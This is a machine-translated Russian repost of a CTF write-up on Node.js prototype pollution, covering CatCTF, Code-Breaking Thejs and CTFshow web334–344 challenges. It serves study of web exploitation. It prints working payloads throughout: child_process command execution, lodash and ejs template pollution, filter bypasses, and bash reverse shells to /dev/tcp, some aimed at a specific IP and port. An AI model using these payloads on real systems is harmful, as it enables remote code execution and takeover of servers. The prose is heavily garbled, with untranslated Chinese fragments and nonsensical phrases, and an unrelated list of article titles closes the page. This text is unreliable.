Краткий анализ загрязнения цепочки прототипов Node.js в CTF
Краткий анализ загрязнения цепочки прототипов Node.js в CTF

заявление

Статья впервые появилась вFreebufСообществоhttps://www.freebuf.com/articles/web/361333.html

Предисловие

Node.jsРаньше об этом многого не знал,Недавно я столкнулся с некоторыми связанными проблемами,Обнаружил, что Загрязнение цепочек прототипов является одним из частых мест его испытаний.,Краткое изложение после изучения,Надеюсь, это будет полезно магистрам, обучающимся

Node.js

Загрязнение цепочки прототипов

Прежде всего, я рекомендую эту статьюhttps://developer.mozilla.org/,Прочитав это, вы получите общее представление о цепочке прототипов.,Очень полезно для дальнейшего изучения. Так что же такое Загрязнение цепочки прототипов Шерстяная ткань?

Более официальное объяснение выглядит следующим образом:

В JavaScript каждый объект имеет прототип, который является ссылкой на другой объект. Когда мы получаем доступ к свойству объекта, если объект не имеет этого свойства, движок JavaScript будет искать это свойство в своем объекте-прототипе. Этот процесс продолжается до тех пор, пока свойство не будет найдено или пока не будет достигнут конец цепочки прототипов. Злоумышленник может использовать эту функцию, чтобы испортить поведение программы, изменив цепочку прототипов объекта. Например, злоумышленник может установить вредоносное свойство или метод в цепочке прототипов объекта. Когда программа обращается к свойству или методу при последующих выполнениях, вредоносный код злоумышленника будет выполнен.

Проще говоря, мы фактически загрязняем некий атрибут в исходной цепочке и вставляем в него вредоносный код. Когда мы снова вызовем эту цепочку (то есть воспользуемся этим объектом), на этом этапе сработает наш вредоносный код. выполнения вредоносного кода. говоря о Загрязнение цепочки прототипов,Тогда это точно неразлучно__proto__иprototype,Итак, теперь нам нужно понять, что это за два.

__proto__ипрототип

существоватьJavaScriptсередина,каждыйобъект Есть имя__proto__встроенные свойства,Он указывает на прототип объекта. в то же время,каждыйфункция也Есть имя prototype характеристики,это объект,Содержит свойства и методы, которые должен иметь прототипобъекта функции-конструктора. Проще говоря,__proto__ Свойства указывают на прототип объекта, а prototypeсвойства используются для созданияобъектструктурафункцияизпрототип。

Это немного абстрактно, поэтому вот пример для иллюстрации: сначала мы открываем Google Chrome, F12, переключаемся на консоль, а затем пишем следующий код.

Язык кода:javascript
копировать
function Person(name) {
  this.name = name;
}

Person.prototype.greet = function() {
  console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet(); // выход "Hello, my name is Alice"

В примере мы создаем файл с именем Personструктурафункция,и будетprototype上изgreet设置для一个打招呼изфункция。Когда мы создаем файл с именемperson1из实例час,он унаследуетPerson.prototypeобъект上изgreetметод。поэтому,Когда мы звонимperson1.greet()час,это будетвыход "Hello, my name is Alice"

Это видно отсюда,prototypeэто классPersonиз一个свойство,Все классы использованияPerson进行实例化изобъект,будет иметьprototypeиз全部内容。

我们实例化出来изperson1объект,невозможно пройтиprototypeдоступпрототипиз,но через__proto__就可以实现доступPersonпрототип,Конкретный код выглядит следующим образом

Язык кода:javascript
копировать
console.log(person1.__proto__ === Person.prototype); // выход true

Подвести итог(Отрывок изhttps://www.leavesongs.com) 1. Прототип — это атрибут класса. Все объекты класса будут иметь атрибуты и методы прототипа при создании экземпляра. 2. Атрибут __proto__ объекта указывает на атрибут прототипа класса, в котором находится объект.

Схема их взаимоотношений выглядит следующим образом.

конкретный процесс

Так что же такое Загрязнение цепочки прототипов Шерстяная ткань Здесь мы используем простой пример, чтобы проиллюстрировать это.

Язык кода:javascript
копировать
var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520 
var c= {}
c.number

Ситуация здесь требует краткого пояснения,我们可以看到существовать我们进行b.__proto__.number=520 После операции,即使да内容для空изc,вызовnumberсвойство仍存существовать且值для我们设定из520,这час就达到Понятно一个Загрязнение цепочки Цель прототипов. Далее поговорим о некоторых моментах, в которых у некоторых мастеров могут возникнуть сомнения.

один、Почему это было исполненоb.__proto__.number=520 После этого мы выводим значение b, которое по-прежнему равно 1314.

Это потому, что в JavaScript есть такой механизм наследования: 我们здесьвызовb.numberчас,Его конкретный процесс вызова выглядит следующим образом

Язык кода:javascript
копировать
1、Найдите атрибут номера в bобъекте
2. Если он не найден в bобъекте, он будет искать атрибут номера в b.__proto__.
3. Если он все еще не найден, он будет искать атрибут номера в b.__proto__.__proto__.

То есть,оно начинает искать себя,Затем рекурсивно ищите вверх слой за слоем.,Пока он не будет найден или рекурсивно не достигнетnullдо,Этот механизм называетсяЦепочка наследования JavaScript,我们здесьиззагрязнятьхарактеристикидасуществоватьb.__proto__середина,而我们изbобъектсамnumber,Поэтому его стоимость не изменилась.

2. Почему вновь созданное значение cобъект пусто?,вызовc.number竟然有值而且для我们设定из520

Когда вы поймете предыдущий вопрос,Эта проблема будет легко решена,我们здесьизcобъект虽然да空из,ноЦепочка наследования JavaScriptиз机制就会使它继续递归寻找,此час也就来到Понятноc.__proto__середина寻找numberсвойство,Мы только что сделали Загрязнение прототипов цепочек.,它изc.__proto__На самом деле этоObject.protoype,而我们进行загрязнятьизb.__proto__СлишкомObject.prototype,所以此час它вызовизnumber就да我们刚刚загрязнятьхарактеристики,Вот почемуc .number=520

Обычно это наблюдается, когда есть функция, функция которой заключается в копировании содержимого одного массива в другой массив. Пример следующий.

Язык кода:javascript
копировать
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            // Если цель и источник имеют одинаковое имя ключа Тогда пусть ключевое значение цели будет ключевым значением источника.
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // Если цель и источник не имеют одинакового имени ключа Затем непосредственно создайте новое имя ключа в цели и присвойте ему значение ключа.
        }
    }
}
let o1 = {}
let o2 =  JSON.parse{a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

Здесь вы можете видеть, что наш контент o3 пуст.,новызовbсвойство Слишком成功выход Понятно2,Это означает, что то, что мы только что сделали, было успешным.,Позвольте мне также рассказать о некоторых моментах, в которых могут возникнуть сомнения у некоторых мастеров.

1. Зачем нам добавлять JSON.parse? Что делает эта функция? Что произойдет, если мы ее не добавим?

Это потому, что,В случае анализа JSON,__proto__会被认дляда一个真正изИмя ключа,а не представлятьпрототип,Таким образом, этот ключ будет существовать при прохождении o2. когда не добавлено,Он подумает, что он прототип,Ситуация на данный момент следующая

Вот почему нам нужно добавить эту функцию

Небольшое расширение (характеристики случая js)

дляtoUpperCase()функция

Язык кода:javascript
копировать
Символы «ı», «ſ» Результат после обработки toUpperCase: "I"、"S"

дляtoLowerCase

Язык кода:javascript
копировать
Символ «K» обрабатывается toLowerCase, и результатом является «k» (этот K не является K).

Подробности можно найти вhttps://www.leavesongs.com/

Настоящий бой

CatCTF 2022 wife

экологический справочникhttps://adworld.xctf.org.cn/challenges/list Открытый вопрос

Обнаружено, что это интерфейс входа в систему, и указан интерфейс регистрации. Нажмите на интерфейс регистрации, и вы обнаружите, что требуется код приглашения.

Если кода приглашения нет, при входе он будет выглядеть так

На данный момент, если учесть JS Загрязнение цепочки прототиповиз话,Это становится просто,Должно быть, мы превысили свои полномочия и получили права администратора.,тем самым получивflag,Его интерфейс регистрации показан в Исходный код выглядит следующим образом (во время конкурса это черный ящик).,Исходный код здесь не указан)

Язык кода:javascript
копировать
app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user)
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

Мы заметили здесьObject.assignметод,他类似之前示例说изcloneфункция,Object.assignэтотметодда可以触发Загрязнение цепочки прототиповиз,Итак, у нас здесь загрязнение__proto__.isAdminдля true Вот и все.

Язык кода:javascript
копировать
{"__proto__":{"isAdmin":true}

В это время вы можете преступить свои полномочия и получить флаг.

Code-Breaking 2018 Thejs

Ссылка на исходный кодhttps://code-breaking.com/puzzle/9/#promo-block 搭建环境из话,Сначала установите егоexpressрамка

Язык кода:javascript
копировать
cnpm i express -S

Затем установите его сноваlodashмодуль

Язык кода:javascript
копировать
npm install lodash

а затем пройтиnode server.jsВы можете открыть среду вопросов

Окружающая среда следующая

Далее бегло взглянем на код

Язык кода:javascript
копировать
#server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

首先我们здесь可以发现存существоватьmergeфункция

Язык кода:javascript
копировать
if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

Смысл здесь также относительно прост,Информация будет отправлена ​​через нашу ПОЧТУ,проходитьmergeсливаться вsessionсередина,В конечном итоге вся предоставленная нами информация будет сохранена в сеансе.,那么存существоватьэтотmergeфункцияиз话,Объясните, что мы можем сделать. Загрязнение цепочек прототипов.,Так какими же должны быть наши параметры загрязнения?,Давайте сейчас посмотрим на эти строки кода

Язык кода:javascript
копировать
fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

可以发现其对内容进行Понятноlodash.templateиметь дело с,Мы следим за этой функцией,Конкретный код можно увидетьhttps://github.com/lodash

могу найти этоsourceURL当没有值изчас候就да一个空из状态,И когда это имеет ценность,примет текущее значение,Посмотрим, как он с этим справится дальше

Вы можете обнаружить, что сюда помещен второй параметр функции, и теперь мы можем реализовать выполнение кода. 所以我们загрязнятьизпараметр就даsourceURL,специфическийPayloadКак показано ниже

Язык кода:javascript
копировать
{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}

Здесь нужно обратить внимание,我们изConType-type需要修改дляapplication/json,Это позволит__proto__成для键值而非прототип,之所以可以直接这样修改да因дляэкспресс-фреймворкподдержка на основеContent-TypeанализироватьТело запроса

в то же время,Причина, по которой он здесь не используетсяrequireиз原因如下

В среде Function нет функции require. Непосредственное использование require('child_process') сообщит об ошибке, поэтому вместо этого нам нужно использовать global.process.mainModule.constructor._load.

Серия CTFshow

web334

Было предоставлено вложение (zip). При открытии есть два файла. Конкретное содержимое следующее.

Язык кода:javascript
копировать
#user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};
Язык кода:javascript
копировать
#login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: 'Ошибка входа'});
      }

      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: 'Вход успешен',ret_flag:flag});
    });
  }else{
    res.json({ret_code: 1, ret_msg: 'Неверная учетная запись или пароль'});
  }

});

module.exports = router;

Смотрите здесьuser.js里给出Понятно账密,接下来我们существовать看login.js,здесьиз话可以看到对账号进行Понятно一个toUpperCase()функцияиметь дело с,Функция этой функции — изменить все символы нижнего регистра на символы верхнего регистра.,Как показано ниже

поэтому我们здесьиз话账号даCTFSHOW,Нам просто нужно войтиctfshow,Он может статьCTFSHOWгорячий

web335

Способ первый

Окружающая среда после входа выглядит следующим образом

Я не увидел никакой полезной информации. В настоящее время проверьте исходный код, чтобы узнать, есть ли какая-либо полезная информация.

发现提示Понятноevalпараметр,В это время нам нужно кое-что посмотреть,即如何существоватьNode.js执行命令 http://nodejs.cn/api/child_process.html Вы можете увидеть эту функцию в

Для этого требуется только написать команду, поэтому мы просто пробуем ее.

Язык кода:javascript
копировать
eval=require('child_process').execSync('ls')

Команда выполнена успешно,Далее попытайтесь получитьflag

Язык кода:javascript
копировать
eval=require('child_process').execSync('cat f*')
Способ второй

Есть еще одна функция

этотspawnSyncфункцияиз话да需要两个параметр,Возвращаемое значение не является обязательным,Но когда возвращаемое значение не заполнено,默认返回издаObject,Итак, вот на самом деле три параметра,то есть команда,Параметры команды,и формат возврата,Например, здесь мы хотим выполнитьls .,Тогда мы можем написать это здесь какspawnSync('ls',['.']).output,Затем попробуйте выполнить его в диапазоне

Язык кода:javascript
копировать
eval=require('child_process').spawnSync('ls',['.']).output

Успешно выполнено, проверьте флаг далее

Язык кода:javascript
копировать
eval=require('child_process').spawnSync('tac',['fl00g.txt']).output

web336

Подобно среде Шангуаня, попробуйте полезную нагрузку Шангуаня здесь.

Способ первый
Язык кода:javascript
копировать
eval=require('child_process').execSync('cat f*')

Энциклопедияtql,Правда на первый взгляд,Это некоторые строки, которые были отфильтрованы,здесьиз话感觉应该даexecSync,Здесь мы можем использовать метод сплайсинга для обхода,然后本来из话да.execSync,我们здесь可以修改для['exe'+'Sync'],Мало знаний[xxx]=.xxx,Итак, давайте попробуем этот метод здесь

Язык кода:javascript
копировать
eval=require('child_process')['exe'%2B'cSync']('ls')
//Знак + закодирован в URL, потому что, если он не закодирован, + будет анализироваться как пробел.

Та же причина,Проверятьflag

Способ второй

Используйте вторую функцию выше (spawnSync) для нормального выполнения команды.

Язык кода:javascript
копировать
eval=require('child_process').spawnSync('cat',['fl001g.txt']).output

web 337

Исходный код приведен в вопросе, как показано ниже.

Язык кода:javascript
копировать
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }

});

module.exports = router;

Дело в том,

Язык кода:javascript
копировать
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

Чтобы обойти md5, вы можете использовать обход массива для создания следующего оператора.

Язык кода:javascript
копировать
a[]=1&b=1

Вы также можете использовать эту полезную нагрузку

Язык кода:javascript
копировать
a[a]=1&b[b]=12

Это потому, что此час题目两个打印出来изда一致из,ВсеObject,так

传传a[0]=1&b[0]=2不行да因для当我们这样传изчас候相当于创Понятно个变量a=[1] b=[2],Результат на данный момент

web338

Исходный код приведен здесь,其серединаизlogin.jsСодержимое файла следующее

Язык кода:javascript
копировать
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: «Ошибка входа»+JSON.stringify(user)});
  }


});

module.exports = router;

этот用到Понятноutils里изcopyфункция,Давайте посмотрим здесьutilsсерединаcomman.js文件里из内容

Язык кода:javascript
копировать
module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

Это простое задание,Догадаться, где находится точка осмотра, можно, посмотрев сюда.Node.jsизпрототипзагрязнять,Вот если бы мыkeyда__proto__,Вы можете добиться загрязнения атрибута,здесь要求из条件secert.ctfshow==='36dboy',Если мы пойдем устанавливать"__proto__":"ctfshow:36dboy",它首先существоватьsecretсередина寻找,не найденоctfshow,Я буду продолжать его искать.,此час就会找到Object,因дляObject.prototypeсередина有ctfshow,Итак, на данный момент мы удовлетворяем условиям,Успешно обойдено

web339

Способ первый
Язык кода:javascript
копировать
#login.js Часть кода
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: «Ошибка входа»+JSON.stringify(user)});
  }

单看этотlogin.jsиз话,Мы не знаем здесьflag,肯定да无法满足secert.ctfshow===flagиз Аналогично предыдущему вопросу,ноздесьизapi.js内容середина有这样一串代码

Язык кода:javascript
копировать
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

Если мы сможем настроить содержимое запроса,RCE может быть достигнут,所以我们здесьиз话就用Загрязнение цепочки прототиповизменить__proto__из值,Конкретная полезная нагрузка следующая

Язык кода:javascript
копировать
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

Затем получите доступ к интерфейсу API,从而вызовэтотquery

В это время проверьте порт 7777, который мы отслеживаем, и успешно восстановите оболочку.

Язык кода:javascript
копировать
cat login.js|grep flag
Способ второй

В этом вопросе используется шаблон ejs,дляшаблон ejs RCE我们здесьиз话可以看一下这两篇文章 https://evi0s.com/ https://xz.aliyun.com/t/7184#toc-7 里面对其进行Понятноспецифический分析,я довольно хорош,я не совсем понимаю,只知道最后изметодиз话就да对一个名дляoutputFunctionNameиз成员进行赋值,Его содержимое — наш вредоносный код,Затем мы просим еще раз,Вы можете запустить выполнение этого кода,Конкретная полезная нагрузка следующая

Язык кода:javascript
копировать
"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP-адрес/порт прослушивания 0>&1\"');var __tmp2"}

На этом этапе вредоносный код успешно написан. Затем обновите интерфейс, чтобы успешно восстановить оболочку.

web340

Окружающая среда здесь похожа на Шангуань.,ноlogin.jsсерединаиз内容略有改动,Подробности следующие

Язык кода:javascript
копировать
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: 'Ошибка входа'});
  }


});

改动点существовать于utils.copy(user.userinfo,req.body);,原本даuserиз,Это означает, что в цепочке прототипов есть еще один слой.,Давайте просто добавим еще один слой.,Исходная цепочка прототипов должна быть

Язык кода:javascript
копировать
user.__proto__->Object.__proto__

Теперь это стало

Язык кода:javascript
копировать
user.userinfo__proto->user.__proto__->Object.__proto__

поэтому我们здесьсуществовать上一关изpayloadВ общем, добавьте еще один__proto__Вот и все,Конкретная полезная нагрузка следующая

Язык кода:javascript
копировать
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP-адрес/порт прослушивания 0>&1\"')"}}}

而后POST发包доступ/apiинтерфейс

Проверьте, успешно ли восстановлена ​​оболочка

web341

здесь缺少Понятноapi.js,Это означает, что мы больше не можем использовать предыдущий метод.,но考虑到здесьизшаблон ejs,Итак, здесь вам следует использовать ejs для восстановления оболочки.,Попробуйте использовать эту полезную нагрузку для оболочки отскока.,Аналогично предыдущей полезной нагрузке,Несколько наборов и один слой__proto__,Конкретная полезная нагрузка следующая

Язык кода:javascript
копировать
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}
}}

Затем обновите интерфейс для выполнения нашего вредоносного кода, а затем проверьте, успешно ли VPS восстанавливает оболочку.

Если флага здесь нет, нам нужно найти его самим.

Язык кода:javascript
копировать
find / |grep flag
cat /flag

Web342

jadeиз Загрязнение цепочки прототипов,Справочная ссылкаhttps://xz.aliyun.com/t/7025,Потому что node.js менее понятен,Итак, вот ссылка на полезные нагрузки других мастеров, которые можно попробовать.,Подождите, пока вы изучите node.js, прежде чем анализировать конкретный код.,Полезная нагрузка следующая

Язык кода:javascript
копировать
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}

Затем обновите интерфейс и просмотрите отслеживаемые VPS.

Оболочка восстановления успешно завершена,接下来ПроверятьflagВот и все

Web343

Говорят, что фильтрация добавлена, но полезная нагрузка предыдущего уровня все еще используется и ее можно очистить.

Web344

Исходный код выглядит следующим образом

Язык кода:javascript
копировать
router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

Как видите, здесь нам нужно выполнить три условия.

Язык кода:javascript
копировать
1、query.name==='admin'
2、query.password==='ctfshow'
3、query.isVIP===true

Обычно, если здесь нет фильтрации, мы можем просто написать полезную нагрузку следующим образом:

Язык кода:javascript
копировать
query={"name":"admin","password":"ctfshow","isVIP":true}

ноздесь存существовать过滤(req.url.match(/8c|2c|\,/ig)),%2cда,,Поэтому мы больше не можем использовать здесь запятые,Мы можем использовать его здесь&&заменить его,Но в это время я обнаружил, что это невозможно.,Это потому, что:"ctfshowздесь,этот"из编码да%22,И это связано с c,此час就да%22c,此час就有2cПонятно,Значит условия не соблюдены,Поэтому нам нужно здесь выполнить кодирование URL-адреса c.,Итак, окончательная полезная нагрузка

Язык кода:javascript
копировать
query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose